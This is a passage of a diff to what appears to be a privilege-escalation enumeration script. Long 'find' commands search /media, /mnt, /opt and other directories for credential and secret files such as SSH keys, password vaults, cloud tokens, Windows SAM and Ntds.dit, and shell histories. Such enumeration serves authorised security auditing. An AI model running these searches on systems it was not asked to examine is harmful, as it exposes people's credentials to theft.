\"mosquitto.conf\" -o -name \"sites.ini\" -o -name \"passwd\" -o -name \"*.gpg\" -o -name \"*.p12\" -o -name \"gitlab.rm\" -o -name \"storage.php\" -o -name \"KeePass.config*\" -o -name \"*vnc*.ini\" -o -name \"access.log\" -o -name \"sysprep.xml\" -o -name \"cloud.cfg\" -o -name \"unattend.txt\" -o -name \"creds*\" -o -name \"*vnc*.c*nf*\" -o -name \".sudo_as_admin_successful\" -o -name \"ftp.ini\" -o -name \"drives.xml\" -o -name \"fastcgi_params\" -o -name \"groups.xml\" -o -name \"sitemanager.xml\" -o -name \"*.socket\" -o -name \"unattend.inf\" -o -name \"krb5.conf\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.db\" -o -name \"php.ini\" -o -name \"azureProfile.json\" -o -name \"https.conf\" -o -name \"credentials.db\" -o -name \"elasticsearch.y*ml\" -o -name \".env\" -o -name \"datasources.xml\" -o -name \"*vnc*.txt\" -o -name \"redis.conf\" -o -name \"hostapd.conf\" -o -name \"AzureRMContext.json\" -o -name \"autologin.conf\" -o -name \".pypirc\" -o -name \".erlang.cookie\" -o -name \"ffftp.ini\" -o -name \"index.dat\" -o -name \"unattended.xml\" -o -name \"secrets.yml\" -o -name \"hosts.equiv\" -o -name \"legacy_credentials.db\" -o -name \"*.jks\" -o -name \"my.ini\" -o -name \"rsyncd.secrets\" -o -name \"software\" -o -name \".htpasswd\" -o -name \"*ssh*config*\" -o -name \"setupinfo.bak\" -o -name \"*.swp\" -o -name \"supervisord.conf\" -o -name \"known_hosts\" -o -name \"*.ftpconfig\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"postgresql.conf\" -o -name \"snmpd.conf\" -o -name \"*vnc*.xml\" -o -name \"scheduledtasks.xml\" -o -name \"gvm-tools.conf\" -o -name \".*_history\" -o -name \".lesshst\" -o -name \"security\" -o -name \"ws_ftp.ini\" -o -name \"ftp.config\" -o -name \"ddclient.conf\" -o -name \"ipsec.secrets\" -o -name \"backup\" -o -name \"kibana.y*ml\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.key\" -o -name \"RDCMan.settings\" -o -name \"*.cer\" -o -name \"pagefile.sys\" -o -name \"FreeSSHDservice.ini\" -o -name \"AppEvent.Evt\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"web*.config\" -o -name \"*.pgp\" -o -name \"pgadmin*.db\" -o -name \"settings.php\" -o -name \"cesi.conf\" -o -name \"tomcat-users.xml\" -o -name \"sysprep.inf\" -o -name \"google-chrome\" -o -name \"rsyncd.conf\" -o -name \"authorized_hosts\" -o -name \".recently-used.xbel\" -o -name \"accessTokens.json\" -o -name \"db.php\" -o -name \"ntuser.dat\" -o -name \"*config*.php\" -o -name \"kadm5.acl\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
   FIND_LIB=`eval_bckgrd "find /lib -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
   FIND_LIB32=`eval_bckgrd "find /lib32 -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
   FIND_LIB64=`eval_bckgrd "find /lib64 -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_MEDIA=`eval_bckgrd "find /media -name \"ntuser.dat\" -o -name \"authorized_hosts\" -o -name \"ConsoleHost_history.txt\" -o -name \"anaconda-ks.cfg\" -o -name \"TokenCache.dat\" -o -name \"*.pgp\" -o -name \"*.rdg\" -o -name \"*.gpg\" -o -name \".rhosts\" -o -name \".git-credentials\" -o -name \"default.sav\" -o -name \"security\" -o -name \"settings.php\" -o -name \"unattend.xml\" -o -name \"backup\" -o -name \"Dockerfile\" -o -name \".recently-used.xbel\" -o -name \"sysprep.xml\" -o -name \"my.ini\" -o -name \"KeePass.ini\" -o -name \"*.pfx\" -o -name \"access_tokens.json\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"redis.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sitemanager.xml\" -o -name \"wp-config.php\" -o -name \".bashrc\" -o -name \"unattended.xml\" -o -name \"id_rsa*\" -o -name \".sudo_as_admin_successful\" -o -name \"iis6.log\" -o -name \"sysprep.inf\" -o -name \"software.sav\" -o -name \"authorized_keys\" -o -name \"pagefile.sys\" -o -name \"*vnc*.xml\" -o -name \"bash.exe\" -o -name \"*.db\" -o -name \"pg_hba.conf\" -o -name \"unattend.inf\" -o -name \".profile\" -o -name \"setupinfo\" -o -name \".htpasswd\" -o -name \"docker-compose.yml\" -o -name \"AzureRMContext.json\" -o -name \"kibana.y*ml\" -o -name \"*.timer\" -o -name \"appcmd.exe\" -o -name \"KeePass.enforced*\" -o -name \"ffftp.ini\" -o -name \".msmtprc\" -o -name \"*.csr\" -o -name \"gitlab.yml\" -o -name \"docker.sock\" -o -name \"*.sqlite3\" -o -name \"recentservers.xml\" -o -name \"filezilla.xml\" -o -name \"pgsql.conf\" -o -name \".k5login\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"sites.ini\" -o -name \"server.xml\" -o -name \".pypirc\" -o -name \"unattend.txt\" -o -name \"error.log\" -o -name \"scclient.exe\" -o -name \"setupinfo.bak\" -o -name \"my.cnf\" -o -name \".ldaprc\" -o -name \"rsyncd.conf\" -o -name \"*.socket\" -o -name \".erlang.cookie\" -o -name \"rsyncd.secrets\" -o -name \"FreeSSHDservice.ini\" -o -name \"index.dat\" -o -name \"config.php\" -o -name \"cloud.cfg\" -o -name \"hostapd.conf\" -o -name \"scheduledtasks.xml\" -o -name \"known_hosts\" -o -name \"*.viminfo\" -o -name \"docker.socket\" -o -name \"*credential*\" -o -name \"krb5.conf\" -o -name \".env\" -o -name \"supervisord.conf\" -o -name \"*.swp\" -o -name \"ipsec.secrets\" -o -name \"postgresql.conf\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"elasticsearch.y*ml\" -o -name \"kadm5.acl\" -o -name \"accessTokens.json\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \".google_authenticator\" -o -name \"*config*.php\" -o -name \"*.jks\" -o -name \"*.sqlite\" -o -name \"security.sav\" -o -name \"database.php\" -o -name \"autologin.conf\" -o -name \"php.ini\" -o -name \"*.gnupg\" -o -name \"*vnc*.ini\" -o -name \"krb5.keytab\" -o -name \"ipsec.conf\" -o -name \"Ntds.dit\" -o -name \"*.ftpconfig\" -o -name \"httpd.conf\" -o -name \"winscp.ini\" -o -name \"*.ovpn\" -o -name \"*.keyring\" -o -name \"gitlab.rm\" -o -name \"ftp.ini\" -o -name \"services.xml\" -o -name \".vault-token\" -o -name \"https.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"datasources.xml\" -o -name \"system.sav\" -o -name \"NetSetup.log\" -o -name \"id_dsa*\" -o -name \"*.p12\" -o -name \"*password*\" -o -name \"AppEvent.Evt\" -o -name \"passwd\" -o -name \"*.keystore\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"SecEvent.Evt\" -o -name \"wcx_ftp.ini\" -o -name \"drives.xml\" -o -name \"cesi.conf\" -o -name \"credentials.db\" -o -name \"storage.php\" -o -name \".gitconfig\" -o -name \"*vnc*.txt\" -o -name \"pgadmin*.db\" -o -name \"snmpd.conf\" -o -name \"ftp.config\" -o -name \"*.crt\" -o -name \"hosts.equiv\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".github\" -o -name \"autologin\" -o -name \"groups.xml\" -o -name \"fastcgi_params\" -o -name \"*.cer\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"db.php\" -o -name \"web*.config\" -o -name \"*.kdbx\" -o -name \"software\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \"mosquitto.conf\" -o -name \"https-xampp.conf\" -o -name \"creds*\" -o -name \".lesshst\" -o -name \"000-default\" -o -name \".git\" -o -name \"access_tokens.db\" -o -name \".*_history\" -o -name \"tomcat-users.xml\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_MNT=`eval_bckgrd "find /mnt -name \"ntuser.dat\" -o -name \"authorized_hosts\" -o -name \"sess_*\" -o -name \"ConsoleHost_history.txt\" -o -name \"anaconda-ks.cfg\" -o -name \"TokenCache.dat\" -o -name \"*.pgp\" -o -name \"*.rdg\" -o -name \"*.gpg\" -o -name \".rhosts\" -o -name \".git-credentials\" -o -name \"default.sav\" -o -name \"security\" -o -name \"settings.php\" -o -name \"unattend.xml\" -o -name \"backup\" -o -name \"Dockerfile\" -o -name \".recently-used.xbel\" -o -name \"sysprep.xml\" -o -name \"my.ini\" -o -name \"KeePass.ini\" -o -name \"*.pfx\" -o -name \"access_tokens.json\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"redis.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sitemanager.xml\" -o -name \"wp-config.php\" -o -name \".bashrc\" -o -name \"unattended.xml\" -o -name \"id_rsa*\" -o -name \".sudo_as_admin_successful\" -o -name \"iis6.log\" -o -name \"sysprep.inf\" -o -name \"software.sav\" -o -name \"authorized_keys\" -o -name \"pagefile.sys\" -o -name \"*vnc*.xml\" -o -name \"bash.exe\" -o -name \"*.db\" -o -name \"pg_hba.conf\" -o -name \"unattend.inf\" -o -name \".profile\" -o -name \"setupinfo\" -o -name \".htpasswd\" -o -name \"docker-compose.yml\" -o -name \"AzureRMContext.json\" -o -name \"kibana.y*ml\" -o -name \"*.timer\" -o -name \"appcmd.exe\" -o -name \"KeePass.enforced*\" -o -name \"ffftp.ini\" -o -name \".msmtprc\" -o -name \"*.csr\" -o -name \"gitlab.yml\" -o -name \"docker.sock\" -o -name \"*.sqlite3\" -o -name \"recentservers.xml\" -o -name \"filezilla.xml\" -o -name \"pgsql.conf\" -o -name \".k5login\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"sites.ini\" -o -name \"server.xml\" -o -name \".pypirc\" -o -name \"unattend.txt\" -o -name \"error.log\" -o -name \"scclient.exe\" -o -name \"setupinfo.bak\" -o -name \"my.cnf\" -o -name \".ldaprc\" -o -name \"rsyncd.conf\" -o -name \"*.socket\" -o -name \".erlang.cookie\" -o -name \"rsyncd.secrets\" -o -name \"FreeSSHDservice.ini\" -o -name \"index.dat\" -o -name \"config.php\" -o -name \"cloud.cfg\" -o -name \"hostapd.conf\" -o -name \"scheduledtasks.xml\" -o -name \"known_hosts\" -o -name \"*.viminfo\" -o -name \"docker.socket\" -o -name \"*credential*\" -o -name \"krb5.conf\" -o -name \".env\" -o -name \"supervisord.conf\" -o -name \"*.swp\" -o -name \"ipsec.secrets\" -o -name \"postgresql.conf\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"elasticsearch.y*ml\" -o -name \"kadm5.acl\" -o -name \"accessTokens.json\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \".google_authenticator\" -o -name \"*config*.php\" -o -name \"*.jks\" -o -name \"*.sqlite\" -o -name \"security.sav\" -o -name \"database.php\" -o -name \"autologin.conf\" -o -name \"php.ini\" -o -name \"*.gnupg\" -o -name \"*vnc*.ini\" -o -name \"krb5.keytab\" -o -name \"ipsec.conf\" -o -name \"Ntds.dit\" -o -name \"*.ftpconfig\" -o -name \"httpd.conf\" -o -name \"winscp.ini\" -o -name \"*.ovpn\" -o -name \"*.keyring\" -o -name \"gitlab.rm\" -o -name \"ftp.ini\" -o -name \"services.xml\" -o -name \".vault-token\" -o -name \"https.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"datasources.xml\" -o -name \"system.sav\" -o -name \"NetSetup.log\" -o -name \"id_dsa*\" -o -name \"*.p12\" -o -name \"*password*\" -o -name \"AppEvent.Evt\" -o -name \"passwd\" -o -name \"*.keystore\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"SecEvent.Evt\" -o -name \"wcx_ftp.ini\" -o -name \"drives.xml\" -o -name \"cesi.conf\" -o -name \"credentials.db\" -o -name \"storage.php\" -o -name \".gitconfig\" -o -name \"*vnc*.txt\" -o -name \"pgadmin*.db\" -o -name \"snmpd.conf\" -o -name \"ftp.config\" -o -name \"*.crt\" -o -name \"hosts.equiv\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".github\" -o -name \"autologin\" -o -name \"groups.xml\" -o -name \"fastcgi_params\" -o -name \"*.cer\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"db.php\" -o -name \"web*.config\" -o -name \"*.kdbx\" -o -name \"software\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \"mosquitto.conf\" -o -name \"https-xampp.conf\" -o -name \"creds*\" -o -name \".lesshst\" -o -name \"000-default\" -o -name \".git\" -o -name \"access_tokens.db\" -o -name \".*_history\" -o -name \"tomcat-users.xml\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_OPT=`eval_bckgrd "find /opt -name \"ntuser.dat\" -o -name \"authorized_hosts\" -o -name \"ConsoleHost_history.txt\" -o -name \"anaconda-ks.cfg\" -o -name \"TokenCache.dat\" -o -name \"*.pgp\" -o -name \"*.rdg\" -o -name \"*.gpg\" -o -name \".rhosts\" -o -name \".git-credentials\" -o -name \"default.sav\" -o -name \"security\" -o -name \"settings.php\" -o -name \"unattend.xml\" -o -name \"backup\" -o -name \"Dockerfile\" -o -name \".recently-used.xbel\" -o -name \"sysprep.xml\" -o -name \"my.ini\" -o -name \"KeePass.ini\" -o -name \"*.pfx\" -o -name \"access_tokens.json\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"redis.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sitemanager.xml\" -o -name \"wp-config.php\" -o -name \".bashrc\" -o -name \"unattended.xml\" -o -name \"id_rsa*\" -o -name \".sudo_as_admin_successful\" -o -name \"iis6.log\" -o -name \"sysprep.inf\" -o -name \"software.sav\" -o -name \"authorized_keys\" -o -name \"pagefile.sys\" -o -name \"*vnc*.xml\" -o -name \"bash.exe\" -o -name \"*.db\" -o -name \"pg_hba.conf\" -o -name \"unattend.inf\" -o -name \".profile\" -o -name \"setupinfo\" -o -name \".htpasswd\" -o -name \"docker-compose.yml\" -o -name \"AzureRMContext.json\" -o -name \"kibana.y*ml\" -o -name \"*.timer\" -o -name \"appcmd.exe\" -o -name \"KeePass.enforced*\" -o -name \"ffftp.ini\" -o -name \".msmtprc\" -o -name \"*.csr\" -o -name \"gitlab.yml\" -o -name \"docker.sock\" -o -name \"*.sqlite3\" -o -name \"recentservers.xml\" -o -name \"filezilla.xml\" -o -name \"pgsql.conf\" -o -name \".k5login\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"sites.ini\" -o -name \"server.xml\" -o -name \".pypirc\" -o -name \"unattend.txt\" -o -name \"error.log\" -o -name \"scclient.exe\" -o -name \"setupinfo.bak\" -o -name \"my.cnf\" -o -name \".ldaprc\" -o -name \"rsyncd.conf\" -o -name \"*.socket\" -o -name \".erlang.cookie\" -o -name \"rsyncd.secrets\" -o -name \"FreeSSHDservice.ini\" -o -name \"index.dat\" -o -name \"config.php\" -o -name \"cloud.cfg\" -o -name \"hostapd.conf\" -o -name \"scheduledtasks.xml\" -o -name \"known_hosts\" -o -name \"*.viminfo\" -o -name \"docker.socket\" -o -name \"*credential*\" -o -name \"krb5.conf\" -o -name \".env\" -o -name \"supervisord.conf\" -o -name \"*.swp\" -o -name \"ipsec.secrets\" -o -name \"postgresql.conf\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"elasticsearch.y*ml\" -o -name \"kadm5.acl\" -o -name \"accessTokens.json\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \".google_authenticator\" -o -name \"*config*.php\" -o -name \"*.jks\" -o -name \"*.sqlite\" -o -name \"security.sav\" -o -name \"database.php\" -o -name \"autologin.conf\" -o -name \"php.ini\" -o -name \"*.gnupg\" -o -name \"*vnc*.ini\" -o -name \"krb5.keytab\" -o -name \"ipsec.conf\" -o -name \"Ntds.dit\" -o -name \"*.ftpconfig\" -o -name \"httpd.conf\" -o -name \"winscp.ini\" -o -name \"*.ovpn\" -o -name \"*.keyring\" -o -name \"gitlab.rm\" -o -name \"ftp.ini\" -o -name \"services.xml\" -o -name \".vault-token\" -o -name \"https.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"datasources.xml\" -o -name \"system.sav\" -o -name \"NetSetup.log\" -o -name \"id_dsa*\" -o -name \"*.p12\" -o -name \"*password*\" -o -name \"AppEvent.Evt\" -o -name \"passwd\" -o -name \"*.keystore\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"SecEvent.Evt\" -o -name \"wcx_ftp.ini\" -o -name \"drives.xml\" -o -name \"cesi.conf\" -o -name \"credentials.db\" -o -name \"storage.php\" -o -name \".gitconfig\" -o -name \"*vnc*.txt\" -o -name \"pgadmin*.db\" -o -name \"snmpd.conf\" -o -name \"ftp.config\" -o -name \"*.crt\" -o -name \"hosts.equiv\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".github\" -o -name \"autologin\" -o -name \"groups.xml\" -o -name \"fastcgi_params\" -o -name \"*.cer\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"db.php\" -o -name \"web*.config\" -o -name \"*.kdbx\" -o -name \"software\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \"mosquitto.conf\" -o -name \"https-xampp.conf\" -o -name \"creds*\" -o -name \".lesshst\" -o -name \"000-default\" -o -name \".git\" -o -name \"access_tokens.db\" -o -name \".*_history\" -o -name \"tomcat-users.xml\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_PRIVATE=`eval_bckgrd "find /private -name \"ntuser.dat\" -o -name \"authorized_hosts\" -o -name \"ConsoleHost_history.txt\" -o -name \"anaconda-ks.cfg\" -o -name \"TokenCache.dat\" -o -name \"*.pgp\" -o -name \"*.rdg\" -o -name \"*.gpg\" -o -name \".rhosts\" -o -name \".git-credentials\" -o -name \"default.sav\" -o -name \"security\" -o -name \"settings.php\" -o -name \"unattend.xml\" -o -name \"backup\" -o -name \"Dockerfile\" -o -name \".recently-used.xbel\" -o -name \"sysprep.xml\" -o -name \"my.ini\" -o -name \"KeePass.ini\" -o -name \"*.pfx\" -o -name \"access_tokens.json\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"redis.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sitemanager.xml\" -o -name \"wp-config.php\" -o -name \".bashrc\" -o -name \"unattended.xml\" -o -name \"id_rsa*\" -o -name \".sudo_as_admin_successful\" -o -name \"iis6.log\" -o -name \"sysprep.inf\" -o -name \"software.sav\" -o -name \"authorized_keys\" -o -name \"pagefile.sys\" -o -name \"*vnc*.xml\" -o -name \"bash.exe\" -o -name \"*.db\" -o -name \"pg_hba.conf\" -o -name \"unattend.inf\" -o -name \".profile\" -o -name \"setupinfo\" -o -name \".htpasswd\" -o -name \"docker-compose.yml\" -o -name \"AzureRMContext.json\" -o -name \"kibana.y*ml\" -o -name \"*.timer\" -o -name \"appcmd.exe\" -o -name \"KeePass.enforced*\" -o -name \"ffftp.ini\" -o -name \".msmtprc\" -o -name \"*.csr\" -o -name \"gitlab.yml\" -o -name \"docker.sock\" -o -name \"*.sqlite3\" -o -name \"recentservers.xml\" -o -name \"filezilla.xml\" -o -name \"pgsql.conf\" -o -name \".k5login\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"sites.ini\" -o -name \"server.xml\" -o -name \".pypirc\" -o -name \"unattend.txt\" -o -name \"error.log\" -o -name \"scclient.exe\" -o -name \"setupinfo.bak\" -o -name \"my.cnf\" -o -name \".ldaprc\" -o -name \"rsyncd.conf\" -o -name \"*.socket\" -o -name \".erlang.cookie\" -o -name \"rsyncd.secrets\" -o -name \"FreeSSHDservice.ini\" -o -name \"index.dat\" -o -name \"config.php\" -o -name \"cloud.cfg\" -o -name \"hostapd.conf\" -o -name \"scheduledtasks.xml\" -o -name \"known_hosts\" -o -name \"*.viminfo\" -o -name \"docker.socket\" -o -name \"*credential*\" -o -name \"krb5.conf\" -o -name \".env\" -o -name \"supervisord.conf\" -o -name \"*.swp\" -o -name \"ipsec.secrets\" -o -name \"postgresql.conf\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"elasticsearch.y*ml\" -o -name \"kadm5.acl\" -o -name \"accessTokens.json\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \".google_authenticator\" -o -name \"*config*.php\" -o -name \"*.jks\" -o -name \"*.sqlite\" -o -name \"security.sav\" -o -name \"database.php\" -o -name \"autologin.conf\" -o -name \"php.ini\" -o -name \"*.gnupg\" -o -name \"*vnc*.ini\" -o -name \"krb5.keytab\" -o -name \"ipsec.conf\" -o -name \"Ntds.dit\" -o -name \"*.ftpconfig\" -o -name \"httpd.conf\" -o -name \"winscp.ini\" -o -name \"*.ovpn\" -o -name \"*.keyring\" -o -name \"gitlab.rm\" -o -name \"ftp.ini\" -o -name \"services.xml\" -o -name \".vault-token\" -o -name \"https.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"datasources.xml\" -o -name \"system.sav\" -o -name \"NetSetup.log\" -o -name \"id_dsa*\" -o -name \"*.p12\" -o -name \"*password*\" -o -name \"AppEvent.Evt\" -o -name \"passwd\" -o -name \"*.keystore\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"SecEvent.Evt\" -o -name \"wcx_ftp.ini\" -o -name \"drives.xml\" -o -name \"cesi.conf\" -o -name \"credentials.db\" -o -name \"storage.php\" -o -name \".gitconfig\" -o -name \"*vnc*.txt\" -o -name \"pgadmin*.db\" -o -name \"snmpd.conf\" -o -name \"ftp.config\" -o -name \"*.crt\" -o -name \"hosts.equiv\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".github\" -o -name \"autologin\" -o -name \"groups.xml\" -o -name \"fastcgi_params\" -o -name \"*.cer\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"db.php\" -o -name \"web*.config\" -o -name \"*.kdbx\" -o -name \"software\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \"mosquitto.conf\" -o -name \"https-xampp.conf\" -o -name \"creds*\" -o -name \".lesshst\" -o -name \"000-default\" -o -name \".git\" -o -name \"access_tokens.db\" -o -name \".*_history\" -o -name \"tomcat-users.xml\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_MEDIA=`eval_bckgrd "find /media -name \"authorized_keys\" -o -name \"docker.sock\" -o -name \"SecEvent.Evt\" -o -name \".vault-token\" -o -name \"Ntds.dit\" -o -name \"*.ovpn\" -o -name \"*.kdbx\" -o -name \"httpd.conf\" -o -name \"000-default\" -o -name \"krb5.keytab\" -o -name \"*credential*\" -o -name \"server.xml\" -o -name \"*.viminfo\" -o -name \"vault-ssh-helper.hcl\" -o -name \"scclient.exe\" -o -name \".git\" -o -name \"system.sav\" -o -name \"access_tokens.db\" -o -name \"recentservers.xml\" -o -name \"*.keyring\" -o -name \"KeePass.enforced*\" -o -name \"*password*\" -o -name \"docker-compose.yml\" -o -name \"wp-config.php\" -o -name \"credentials\" -o -name \"id_rsa*\" -o -name \"*.pfx\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"bash.exe\" -o -name \"services.xml\" -o -name \"*.sqlite3\" -o -name \"NetSetup.log\" -o -name \"*.crt\" -o -name \".gitconfig\" -o -name \"pg_hba.conf\" -o -name \"docker.socket\" -o -name \"Dockerfile\" -o -name \"*.rdg\" -o -name \"error.log\" -o -name \"anaconda-ks.cfg\" -o -name \".github\" -o -name \".profile\" -o -name \"gitlab.yml\" -o -name \"config.php\" -o -name \".rhosts\" -o -name \".msmtprc\" -o -name \"printers.xml\" -o -name \"backups\" -o -name \"*.der\" -o -name \"iis6.log\" -o -name \"unattend.xml\" -o -name \"my.cnf\" -o -name \"wcx_ftp.ini\" -o -name \".k5login\" -o -name \"*.timer\" -o -name \"pgsql.conf\" -o -name \"TokenCache.dat\" -o -name \"id_dsa*\" -o -name \"ipsec.conf\" -o -name \"winscp.ini\" -o -name \"autologin\" -o -name \".google_authenticator\" -o -name \"default.sav\" -o -name \"*.csr\" -o -name \"KeePass.ini\" -o -name \"access_tokens.json\" -o -name \"filezilla.xml\" -o -name \".bashrc\" -o -name \"setupinfo\" -o -name \"mongod*.conf\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*.gnupg\" -o -name \"appcmd.exe\" -o -name \"security.sav\" -o -name \"SYSTEM\" -o -name \".ldaprc\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"sites.ini\" -o -name \"passwd\" -o -name \"*.gpg\" -o -name \"*.p12\" -o -name \"gitlab.rm\" -o -name \"storage.php\" -o -name \"KeePass.config*\" -o -name \"*vnc*.ini\" -o -name \"access.log\" -o -name \"sysprep.xml\" -o -name \"cloud.cfg\" -o -name \"unattend.txt\" -o -name \"creds*\" -o -name \"*vnc*.c*nf*\" -o -name \".sudo_as_admin_successful\" -o -name \"ftp.ini\" -o -name \"drives.xml\" -o -name \"fastcgi_params\" -o -name \"groups.xml\" -o -name \"sitemanager.xml\" -o -name \"*.socket\" -o -name \"unattend.inf\" -o -name \"krb5.conf\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.db\" -o -name \"php.ini\" -o -name \"azureProfile.json\" -o -name \"https.conf\" -o -name \"credentials.db\" -o -name \"elasticsearch.y*ml\" -o -name \".env\" -o -name \"datasources.xml\" -o -name \"*vnc*.txt\" -o -name \"redis.conf\" -o -name \"hostapd.conf\" -o -name \"AzureRMContext.json\" -o -name \"autologin.conf\" -o -name \".pypirc\" -o -name \".erlang.cookie\" -o -name \"ffftp.ini\" -o -name \"index.dat\" -o -name \"unattended.xml\" -o -name \"secrets.yml\" -o -name \"hosts.equiv\" -o -name \"legacy_credentials.db\" -o -name \"*.jks\" -o -name \"my.ini\" -o -name \"rsyncd.secrets\" -o -name \"software\" -o -name \".htpasswd\" -o -name \"setupinfo.bak\" -o -name \"*.swp\" -o -name \"supervisord.conf\" -o -name \"known_hosts\" -o -name \"*.ftpconfig\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"postgresql.conf\" -o -name \"snmpd.conf\" -o -name \"*vnc*.xml\" -o -name \"scheduledtasks.xml\" -o -name \"gvm-tools.conf\" -o -name \".*_history\" -o -name \".lesshst\" -o -name \"security\" -o -name \"ws_ftp.ini\" -o -name \"ftp.config\" -o -name \"ddclient.conf\" -o -name \"ipsec.secrets\" -o -name \"backup\" -o -name \"kibana.y*ml\" -o -name \".git-credentials\" -o -name \"https-xampp.conf\" -o -name \"*.key\" -o -name \"RDCMan.settings\" -o -name \"*.cer\" -o -name \"pagefile.sys\" -o -name \"FreeSSHDservice.ini\" -o -name \"AppEvent.Evt\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"web*.config\" -o -name \"*.pgp\" -o -name \"pgadmin*.db\" -o -name \"settings.php\" -o -name \"cesi.conf\" -o -name \"tomcat-users.xml\" -o -name \"sysprep.inf\" -o -name \"rsyncd.conf\" -o -name \"authorized_hosts\" -o -name \".recently-used.xbel\" -o -name \"accessTokens.json\" -o -name \"db.php\" -o -name \"ntuser.dat\" -o -name \"*config*.php\" -o -name \"kadm5.acl\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_MNT=`eval_bckgrd "find /mnt -name \"authorized_keys\" -o -name \"docker.sock\" -o -name \"SecEvent.Evt\" -o -name \".vault-token\" -o -name \"Ntds.dit\" -o -name \"*.ovpn\" -o -name \"*.kdbx\" -o -name \"httpd.conf\" -o -name \"000-default\" -o -name \"krb5.keytab\" -o -name \"*credential*\" -o -name \"server.xml\" -o -name \"*.viminfo\" -o -name \"vault-ssh-helper.hcl\" -o -name \"scclient.exe\" -o -name \".git\" -o -name \"system.sav\" -o -name \"access_tokens.db\" -o -name \"recentservers.xml\" -o -name \"*.keyring\" -o -name \"KeePass.enforced*\" -o -name \"*password*\" -o -name \"docker-compose.yml\" -o -name \"wp-config.php\" -o -name \"credentials\" -o -name \"id_rsa*\" -o -name \"*.pfx\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"bash.exe\" -o -name \"services.xml\" -o -name \"*.sqlite3\" -o -name \"NetSetup.log\" -o -name \"*.crt\" -o -name \".gitconfig\" -o -name \"pg_hba.conf\" -o -name \"docker.socket\" -o -name \"Dockerfile\" -o -name \"*.rdg\" -o -name \"error.log\" -o -name \"anaconda-ks.cfg\" -o -name \".github\" -o -name \".profile\" -o -name \"gitlab.yml\" -o -name \"config.php\" -o -name \".rhosts\" -o -name \".msmtprc\" -o -name \"printers.xml\" -o -name \"backups\" -o -name \"*.der\" -o -name \"iis6.log\" -o -name \"unattend.xml\" -o -name \"my.cnf\" -o -name \"wcx_ftp.ini\" -o -name \".k5login\" -o -name \"*.timer\" -o -name \"pgsql.conf\" -o -name \"TokenCache.dat\" -o -name \"id_dsa*\" -o -name \"ipsec.conf\" -o -name \"winscp.ini\" -o -name \"autologin\" -o -name \".google_authenticator\" -o -name \"default.sav\" -o -name \"*.csr\" 